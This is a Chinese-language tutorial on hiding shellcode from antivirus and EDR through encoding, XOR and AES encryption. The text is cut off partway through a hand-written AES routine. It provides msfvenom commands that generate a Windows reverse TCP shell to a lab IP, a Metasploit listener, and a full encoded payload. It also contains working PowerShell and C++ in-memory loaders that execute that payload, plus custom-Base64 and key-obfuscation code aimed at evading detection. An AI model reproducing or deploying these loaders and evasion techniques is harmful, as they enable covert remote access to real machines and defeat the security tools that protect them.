编码与加密技术

2025-8-28 101 8/28

编码与加密技术

知识卡片

  1. 编码与加密

    编码(Encoding)是[格式转换],无密钥,仅为可读性/传输性服务

    加密(Encryption)是[内容隐藏],有密钥,只有密钥才能还原

  2. 编码技术

    核心编码Base64、Base32/Base58、Hex(十六进制)

    核心免杀,内存编码/解码,自定义编规则(打破特征匹配)

  3. XOR加密

    XOR(异或):轻量加密、算法简单、速度快、内存执行无开销

    XOR核心规则: A XOR B = CC XOR B = A (密钥B可逆还原)

    核心免杀,内存XOR解密、动态生成密钥、多轮XOR

  4. AES加密载荷

    AES对称加密、安全性高、抗分析能力强

    AES核心参数:密钥长度(128/192/256位)、模式(CBC/CTR)、填充(PKCS7)

    核心免杀:内存AES加解密(密文无固定特征,无法被静态破解)、IV(初始向量)随机化、密钥/IV内存存储、无文件解密执行

技能详解

一、编码与加密

我们先了解一下Shellcode(即Payload)的传输流程,Shellcode(加密--编码)——>目标机器(解码--解密)然后执行

编码与加密技术

如果直接Shellcode传到目标机上AV/EDR直接识别就杀掉了,如果想着先加密然后编码,传到目标机上AV/EDR会先进行解码,解码出来的东西因为经过加密,他是识别不出来的纯乱码(当然如果是常见加密方法,AV直接根据病毒库的Hash就能杀掉),这就是编码+加密的基础用法。

实验一、MSF测试

根据上面的流程,我们用msf生成的Shellcode检测免杀效果

  1. msf生成raw并输出十六进制格式

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f raw -o shellcode_raw.bin
xxd -p shellcode_raw.bin | head -5  # 查看前5行十六进制内容,检测是否成功生成
  1. 对原始Shellcode进行XOR加密

因为msf自带Encoder,这里就不写脚本直接使用了

┌──(root㉿kali)-[/home/kali/shell]
└─# msfvenom -l encoders | grep -i "x64.*xor"
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder

这里选择xor_dynamic,因为这个运行的时候密钥是动态的,也可以用xor,不过密钥是固定的,既然追求静态规避还是xor_dynamic好点

msfvenom -p generic/custom PAYLOADFILE=shellcode_raw.bin -e x64/xor_dynamic -i 7 -f raw -o shellcode_xor.bin 
  • -p generic/custom:自定义 payload 模式,读取外部的 shellcode_raw.bin 作为原始加密对象

  • PAYLOADFILE=shellcode_raw.bin:指定要加密的 x64 raw shellcode 文件路径

  • -e x64/xor_dynamic 指定要使用的加密器

  • -i 7迭代七次,增强加密效果,但是迭代过多会增大Payload体积

  1. 对加密后的Shellcode做Base64标准编码

base64 -w 0 shellcode_xor.bin > shellcode_xor_base64.txt
  • -w 0:取消 Base64 默认的 76 字符行宽限制,避免编码结果中出现换行符

6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw==  
  1. Kali上先开启监听

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST 192.168.1.133; set LPORT 4444; set ExitOnSession false; run"
  1. 目标机器上执行:(都是露头就被360和火绒秒了,使用MSF就是这个结果了,里面的逻辑早就标死了)

一、Powershell内存加载

VT免杀 11/62

<#
.SYNOPSIS
内存加载加密+Base64编码的x64 Shellcode(自动解密+执行)
.DESCRIPTION
双击即可执行,全程内存操作,无文件落地,适配msf的x64/xor_dynamic加密Shellcode
#>

# 解决执行策略限制
Set-ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue


$base64Data = "6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw==    "
# ========================================================================

try {
    # 步骤1:Base64解码(内存中,得到加密的Shellcode字节数组)
    Write-Host "[+] 正在解码Base64字符串..." -ForegroundColor Green
    $encryptedShellcode = [Convert]::FromBase64String($base64Data)
    Write-Host "[+] Base64解码完成,Shellcode长度:$($encryptedShellcode.Length) 字节" -ForegroundColor Green

    # 步骤2:导入kernel32.dll的核心API(内存分配、创建线程)
    Write-Host "[+] 正在加载系统API..." -ForegroundColor Green
    $kernel32 = Add-Type -MemberDefinition @"
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
"@ -Name "Kernel32" -Namespace "Win32" -PassThru -ErrorAction Stop

    # 步骤3:分配可执行内存(RWX权限:读/写/执行,0x1000=MEM_COMMIT,0x40=PAGE_EXECUTE_READWRITE)
    $alloc = $kernel32::VirtualAlloc([IntPtr]::Zero, $encryptedShellcode.Length, 0x1000, 0x40)
    if ($alloc -eq [IntPtr]::Zero) {
        throw "内存分配失败,错误码:$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    }
    Write-Host "[+] 内存分配成功,地址:0x$($alloc.ToString('X'))" -ForegroundColor Green

    # 步骤4:将加密的Shellcode写入内存(无文件落地)
    Write-Host "[+] 正在将Shellcode写入内存..." -ForegroundColor Green
    [System.Runtime.InteropServices.Marshal]::Copy($encryptedShellcode, 0, $alloc, $encryptedShellcode.Length)

    # 步骤5:创建线程执行Shellcode(xor_dynamic会自动在内存解密)
    $thread = $kernel32::CreateThread([IntPtr]::Zero, 0, $alloc, [IntPtr]::Zero, 0, [IntPtr]::Zero)
    if ($thread -eq [IntPtr]::Zero) {
        throw "创建线程失败,错误码:$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    }
    Write-Host "[+] 正在执行Shellcode(自动解密中)..." -ForegroundColor Green

    # 步骤6:等待线程执行完成
    $kernel32::WaitForSingleObject($thread, [uint32]::MaxValue)
    Write-Host "[+] Shellcode执行完成!" -ForegroundColor Green

    # 清理资源
    $kernel32::CloseHandle($thread) | Out-Null
}
catch {
    Write-Host "[!] 执行失败:$($_.Exception.Message)" -ForegroundColor Red
    Read-Host "按任意键退出..."
    exit 1
}

# 隐藏窗口(可选,实战中可删除)
Read-Host "按任意键退出..."
exit 0

二、编译C++执行

11/72

#include <windows.h>
#include <iostream>
#include <vector>
#include <wincrypt.h>
#include <algorithm>

#pragma comment(lib, "Crypt32.lib")

std::vector<BYTE> DecodeBase64(const std::string& input) {
    DWORD dwLen = 0;
    CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, NULL, &dwLen, NULL, NULL);
    std::vector<BYTE> data(dwLen);
    CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &dwLen, NULL, NULL);
    return data;
}

int main() {


    // 1. 填入你Base64
    std::string b64_payload = "6ydbU1+wIPyudf1XWVNeigYwB0j/x0j/xmaBP/nPdAeAPiB16uvm/+Ho1P///xgIIPMvQ1tHuEP0tn3lX0FbRoIeOB9A589Q995umTe33GwPmDZDffLj/vf54Mz35/cQEEPrJ1tTX7C+/K51/VdZU16KBjAHSP/HSP/GZoE/Lk10B4A+vnXq6+b/4ejU////GAi+8y9DW0e4tfS2feVfQVtGgh44H0Dnz1D33m6ZN/zGbA+YNrV98uP+9/ngzPfn9xAQtesnW1NfsCD8rnX9V1lTXooGMAdI/8dI/8ZmgT94lXQHgD4gderr5v/h6NT///8YIPM/Q0tHqATktm3lT0FLRpIeKB9Q599Q595+mSfSbWwfmCYEbfLz/uf58Mzn5+c7BNAcYGhki3/HlU7GbGJoZbE9CzxzxPxzxP1dugSonU88uwV/TtHQ3cTa0+/ExMQvf9NnrMvfx+8vLy9ufm5/fX55Zx79SmekfU9npH03Z6R9D2ekXX9nIJhlZWIe5mce74MTTlMtAw9u7uYibi7uzcJ9bn5npH0PpG0TZy7/pK+nLy8vZ6rvW0hnLv9/pGc3a6RvD2Yu/8x5Z9DmbqQbp2cu+WIe5mce74Nu7uYibi7uF89a3mMsYwsnahb+Wvd3a6RvC2Yu/0lupCNna6RvM2Yu/26kK6dnLv9ud253cXZ1bndudm51Z6zDD2590M93bnZ1Z6Q9xnjQ0NByZpFYXB1wHB0vL255ZqbJZ67Djy4vL2amymaTLS8+c++HLqpue2amy2Om3m6VY1gJKND6Y6bFRy4uLy92bpUGr0Qv0Pp/f2Ie5mIe72fQ72em7WfQ72em7m6VxSDwz9D6Z6boRT9ud2OmzWem1m6VtopbTtD6Z67rby0vL2aXTEJLLy8vLy9uf25/Z6bNeHh4Yh7vRSJ2bn/N00noawt7Li5nomsLN+kvR2emyXl/bn9uf25/ZtDvbn9m0Odipu5jpu5ulVbjEKnQ+mce/WfQ5aQhbpUnqDJP0PqU35qNeW6VibqSstD6Z6zrBxMpUyWv1M9aKpRoPF1ARS92bqb10PqondJteJXs1i5Np8z5zw==  ";


    b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\n'), b64_payload.end());
    b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\r'), b64_payload.end());
    b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), ' '), b64_payload.end());
    b64_payload.erase(std::remove(b64_payload.begin(), b64_payload.end(), '\t'), b64_payload.end());


    std::vector<BYTE> shellcode = DecodeBase64(b64_payload);
    if (shellcode.empty()) {
        printf("Base64 解码失败!\n");
        return -1;
    }

    // 2. 申请内存
    LPVOID exec_mem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!exec_mem) {
        printf("内存申请失败: %d\n", GetLastError());
        return -1;
    }

    // 3. 拷贝
    RtlMoveMemory(exec_mem, shellcode.data(), shellcode.size());

    // 4. 修改权限
    DWORD oldProtect;
    if (!VirtualProtect(exec_mem, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("权限修改失败: %d\n", GetLastError());
        return -1;
    }

    // 5. 执行
    printf("正在启动线程执行 Shellcode...\n");
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);

    if (hThread != NULL) {
        printf("线程已创建,等待回连...\n");
        WaitForSingleObject(hThread, INFINITE);
    }
    else {
        printf("线程创建失败: %d\n", GetLastError());
    }

    return 0;
}
  1. 既然造好的轮子不好用我们就自己造轮子,在课程最后咱直接从零开始造加解密的方法

二、编码技术

Hex编码、Base64编码等,还有一些冷门的编码如Base58等

其中主要的就是Base64编码了,我们主要强调内存解码与相应混淆策略

下面就是标准Base64内存解码函数了(内存解码没有敏感特征落地,AV/EDR无法静态检测)

// 内存Base64解码(纯内存操作,返回需手动free)
unsigned char* Base64Decode(const char* base64Str, size_t* outLen)
{
    if (!base64Str || !outLen) return NULL;
    static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    static int revTable[256];
    static int init = 0;
    // 仅初始化一次反向查找表
    if (!init) {
        memset(revTable, -1, sizeof(revTable));
        for (int i = 0; i < 64; i++) revTable[(unsigned char)table[i]] = i;
        init = 1;
    }
    size_t inLen = strlen(base64Str);
    if (inLen == 0) {
        *outLen = 0;
        return NULL;
    }
    // 预分配足够空间
    unsigned char* out = (unsigned char*)malloc((inLen * 3) / 4 + 2);
    if (!out) return NULL;
    size_t outPos = 0;
    unsigned int accum = 0;
    int bits = 0;
    for (size_t i = 0; i < inLen; i++) {
        unsigned char c = (unsigned char)base64Str[i];
        if (c == '=') break;                    // 填充符结束
        if (revTable[c] == -1) continue;        // 跳过无效字符
        accum = (accum << 6) | revTable[c];
        bits += 6;

        if (bits >= 8) {
            bits -= 8;
            out[outPos++] = (accum >> bits) & 0xFF;
        }
    }
    *outLen = outPos;
    return out;
}

但是这种标准Base64太主流了,静态特征高频且敏感,这就要用的自定义编码表了,自定义编码表要求我们同时自己写出解码逻辑,如果配合冷门编码算法结合自定义编码表过静态特征就比较容易了。

在自定义编码表前,我们要先理解原来的编码算法

标准 Base64 的核心是6 位→字符的映射表,共 64 个可打印字符,固定顺序:

标准表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
索引值:0  1  2  ... 25 26 27 ... 51 52 53 ... 61 62 63

编码时,把二进制数据按 6 位分组,每组对应标准表中的一个字符;

解码时,把字符反向映射回 6 位二进制,再拼接成原始数据。

自定义编码表核心原理:打乱标准表的字符顺序替换部分字符(核心:仍保留64个可打印字符)

  • 攻击机:用自定义表编码 Shellcode → 生成 “非标准 Base64 字符串”;

  • 目标机:用相同的自定义表解码 → 还原出加密的 Shellcode;

  • AV/EDR :用标准表解码 → 得到乱码,无法识别恶意特征;

示例:

步骤 1:定义自定义编码表

// 标准Base64表(对比用)
const char STANDARD_BASE64_TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
// 自定义表(示例:大小写反转+替换+/为-_)
const char CUSTOM_BASE64_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";

步骤 2:攻击机 —— 用自定义表编码 Shellcode

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// 自定义Base64编码函数(攻击机用,加密Shellcode后编码)
char* CustomBase64Encode(const unsigned char* data, size_t dataLen) {
    const char CUSTOM_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";
    // 预估编码后长度(向上取整)
    size_t encodeLen = ((dataLen + 2) / 3) * 4;
    char* result = (char*)malloc(encodeLen + 1); // +1存结束符
    if (!result) return NULL;

    size_t outPos = 0;
    unsigned int accumulator = 0;
    int bitsRemaining = 0;

    for (size_t i = 0; i < dataLen; i++) {
        // 把8位数据存入累加器
        accumulator = (accumulator << 8) | data[i];
        bitsRemaining += 8;

        // 每凑够6位,取自定义表中的字符
        while (bitsRemaining >= 6) {
            bitsRemaining -= 6;
            int idx = (accumulator >> bitsRemaining) & 0x3F; // 0x3F=63,取低6位
            result[outPos++] = CUSTOM_TABLE[idx];
        }
    }

    // 处理剩余不足6位的部分(补0)
    if (bitsRemaining > 0) {
        accumulator <<= (6 - bitsRemaining);
        int idx = accumulator & 0x3F;
        result[outPos++] = CUSTOM_TABLE[idx];
    }

    // 补填充符=(保持Base64格式)
    while (outPos % 4 != 0) {
        result[outPos++] = '=';
    }
    result[outPos] = '\0'; // 结束符

    return result;
}

// 测试:加密后的Shellcode → 自定义Base64编码
int main() {
    // 假设shellcode.bin是msf加密后的Shellcode(读取到内存)
    FILE* fp = fopen("shellcode.bin", "rb");
    if (!fp) return -1;
    fseek(fp, 0, SEEK_END);
    size_t dataLen = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    unsigned char* shellcode = (unsigned char*)malloc(dataLen);
    fread(shellcode, 1, dataLen, fp);
    fclose(fp);

    // 自定义Base64编码(内存中操作)
    char* customBase64 = CustomBase64Encode(shellcode, dataLen);
    if (customBase64) {
        // 保存编码结果(仅攻击机保存,目标机直接用内存中的字符串)
        FILE* outFp = fopen("shellcode_custom_base64.txt", "w");
        fwrite(customBase64, 1, strlen(customBase64), outFp);
        fclose(outFp);
        printf("自定义Base64编码完成:%s\n", customBase64);
        free(customBase64);
    }

    free(shellcode);
    return 0;
}

步骤 3:目标机 —— 用相同自定义表解码

#include <windows.h>
#include <string.h>
#include <stdlib.h>

// 自定义Base64解码函数(目标机用,内存中解码)
unsigned char* CustomBase64Decode(const char* customBase64Str, size_t* outLen) {
    const char CUSTOM_TABLE[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_";
    // 构建反向查找表(字符→索引,匹配自定义表)
    int reverseTable[256];
    memset(reverseTable, -1, sizeof(reverseTable));
    for (int i = 0; i < 64; i++) {
        reverseTable[(unsigned char)CUSTOM_TABLE[i]] = i;
    }

    size_t inLen = strlen(customBase64Str);
    size_t maxOutLen = (inLen * 3) / 4;
    unsigned char* result = (unsigned char*)malloc(maxOutLen);
    if (!result) return NULL;

    size_t outPos = 0;
    unsigned int accumulator = 0;
    int bitsRemaining = 0;

    for (size_t i = 0; i < inLen; i++) {
        unsigned char c = (unsigned char)customBase64Str[i];
        if (c == '=') break; // 跳过填充符
        int idx = reverseTable[c];
        if (idx == -1) continue; // 跳过无效字符

        // 把自定义表的字符映射回6位数据
        accumulator = (accumulator << 6) | idx;
        bitsRemaining += 6;

        // 每凑够8位,提取一个字节(内存中)
        if (bitsRemaining >= 8) {
            bitsRemaining -= 8;
            result[outPos++] = (accumulator >> bitsRemaining) & 0xFF;
        }
    }

    *outLen = outPos;
    return result;
}

// 目标机执行逻辑:自定义Base64解码 → 内存执行Shellcode
void ExecuteCustomShellcode(const char* customBase64Str) {
    size_t shellcodeLen = 0;
    // 步骤1:内存中自定义Base64解码
    unsigned char* encryptedShellcode = CustomBase64Decode(customBase64Str, &shellcodeLen);
    if (!encryptedShellcode || shellcodeLen == 0) return;

    // 步骤2:分配可执行内存(RWX)
    LPVOID mem = VirtualAlloc(NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!mem) {
        free(encryptedShellcode);
        return;
    }

    // 步骤3:写入内存并执行(自动解密)
    memcpy(mem, encryptedShellcode, shellcodeLen);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    // 清理内存
    VirtualFree(mem, 0, MEM_RELEASE);
    free(encryptedShellcode);
}

int main() {
    // 替换为攻击机生成的自定义Base64字符串
    const char* customBase64Str = "你的自定义Base64编码字符串";
    ExecuteCustomShellcode(customBase64Str);
    return 0;
}

这个我们自定义的编码表算法先留着,到最后和新加密算法一起搭配使用打组合拳

另外我们还可以进行多层编码(如Base64→Hex→Base32),同样执行的时候也需要多层编码,重要的是不用过度的增加执行开销

三、XOR加密

XOR简单、一行代码就能实现加解密,但简单的东西也可以复杂,其主要目的还是规避AV/EDR的静态检测

简单XOR的密钥是固定的(单字节、8字节、16字节),从XOR密钥方面我们还可以动态生成密钥(没有硬编码密钥)、位置相关密钥密钥分散重建滚动密钥等等。并且可以不同技术进行叠加,这都是密码学方面的技术了。

动态生成密钥

unsigned char GetKeyByte(size_t idx) {
    char buf[256] = {0};
    GetComputerNameA(buf, sizeof(buf));     //   同一台机器上密钥固定(计算机名不变) 
    unsigned int hash = 0x811C9DC5;               
    for (char* p = buf; *p; p++)
        hash = (hash ^ *p) * 0x01000193;
    return (unsigned char)((hash >> (idx % 32)) ^ (idx & 0xFF));
}

for(size_t i = 0; i < len; i++)
    data[i] ^= GetKeyByte(i);   

位置相关密钥

unsigned char GetContextKey(size_t pos) {
    unsigned char baseKey[8] = {0xAA,0xBB,0xCC,0xDD,0xEE,0xFF,0x11,0x22};
    return baseKey[pos % 8] ^ (unsigned char)(pos >> 3) ^ (pos & 0x1F);
}

密钥分散重建

void RebuildKey(unsigned char* outKey, size_t klen) {
    // 碎片来自不同位置
    outKey[0] = 'f' ^ 0x55; outKey[1] = 'l' ^ 0x66; // 藏在字符串里
    outKey[2] = *(unsigned char*)0x401000 ^ 0x77;   // 甚至藏在PE头
    // ... 其余碎片
    // 最后再做一次简单变换
    for(int i=0; i<klen; i++) outKey[i] ^= (i*17);
}

滚动密钥

unsigned char RollingKey(unsigned char seed, size_t step) {
    static unsigned int state = 0xDEADBEEF;
    state = (state * 0x19660D + 0x3C6EF35F) ^ seed;  // LCG
    return (state >> (step % 24)) & 0xFF;
}

四、AES加密

XOR简单易用,但AV/EDR能通过"异或行为特征"来识别操作。这个时候就需要其他的加密方式了,这里就是一种对称加密算法AES。

AES算法核心参数:密钥长度(通常选128位),加密模式(优先CTR计数器模式),IV(初始向量,必须随机生成)

下面是AES-128-CTR的加密结构流程:

编码与加密技术

传到目标机后解密要使用我们的16字节密钥,通常系统或者库的原生解密API都会被EDR/AV严防死守,所以我们在针对这种情况的时候应该多手写解密算法

本地加密算法这里直接使用Python脚本语言实现

# AES-128-CTR加密shellcode
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

def aes_encrypt(shellcode, key):
    iv = os.urandom(16)  # 随机生成16字节IV
    cipher = Cipher(algorithms.AES(key), modes.CTR(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    encrypted = encryptor.update(shellcode) + encryptor.finalize()
    return iv + encrypted  # 拼接IV和密文

with open("shellcode.raw", "rb") as f:
    shellcode = f.read()
key = os.urandom(16)  # 随机生成16字节密钥
encrypted = aes_encrypt(shellcode, key)
print("AES-128-CTR加密后:", encrypted)
print("密钥:", key.hex())

手动内存解密算法+执行

#include <iostream>
#include <vector>
#include <cstdint>
#include <string>
#include <Windows.h>

// ===================== 手写AES-128核心常量(标准S盒/轮常量) =====================
static const uint8_t sbox[256] = {
    0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
    0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
    0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
    0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
    0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
    0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
    0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
    0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
    0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
    0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
    0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
    0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
    0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
    0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
    0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
    0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16
};
static const uint8_t rcon[10] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 };

// ===================== 纯手写AES-128核心函数(无系统库依赖) =====================
void SubBytes(uint8_t state[4][4]) {
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            state[i][j] = sbox[state[i][j]];
}

void ShiftRows(uint8_t state[4][4]) {
    uint8_t temp;
    // 第2行移1位
    temp = state[1][0]; state[1][0] = state[1][1]; state[1][1] = state[1][2]; state[1][2] = state[1][3]; state[1][3] = temp;
    // 第3行移2位
    temp = state[2][0]; state[2][0] = state[2][2]; state[2][2] = temp;
    temp = state[2][1]; state[2][1] = state[2][3]; state[2][3] = temp;
    // 第4行移3位
    temp = state[3][0]; state[3][0] = state[3][1]; state[3][1] = state[3][2]; state[3][2] = state[3][3]; state[3][3] = temp;
    temp = state[3][0]; state[3][0] = state[3][1]; state[3][1] = state[3][2]; state[3][2] = state[3][3]; state[3][3] = temp;
}

// 修正列混合的GF(2^8)运算,确保和Python库一致
uint8_t gf_mult(uint8_t a, uint8_t b) {
    uint8_t res = 0;
    while (b) {
        if (b & 1) res ^= a;
        a = (a << 1) ^ ((a & 0x80) ? 0x1B : 0);
        b >>= 1;
    }
    return res;
}

void MixColumns(uint8_t state[4][4]) {
    for (int j = 0; j < 4; j++) {
        uint8_t col[4];
        for (int i = 0; i < 4; i++) col[i] = state[i][j];
        state[0][j] = gf_mult(col[0], 2) ^ gf_mult(col[1], 3) ^ col[2] ^ col[3];
        state[1][j] = col[0] ^ gf_mult(col[1], 2) ^ gf_mult(col[2], 3) ^ col[3];
        state[2][j] = col[0] ^ col[1] ^ gf_mult(col[2], 2) ^ gf_mult(col[3], 3);
        state[3][j] = gf_mult(col[0], 3) ^ col[1] ^ col[2] ^ gf_mult(col[3], 2);
    }
}

void AddRoundKey(uint8_t state[4][4], uint8_t roundKey[4][4]) {
    for (int i = 0; i < 4; i++)
        for (int j = 0; j < 4; j++)
            state[i][j] ^= roundKey[i][j];
}

void KeyExpansion(uint8_t key[16], uint8_t expandedKey[176]) {
    memcpy(expandedKey, key, 16);
    int i = 16;
    while (i < 176) {
        uint8_t temp[4] = { expandedKey[i-4], expandedKey[i-3], expandedKey[i-2], expandedKey[i-1] };
        if (i % 16 == 0) {
            // 循环左移+S盒+轮常量
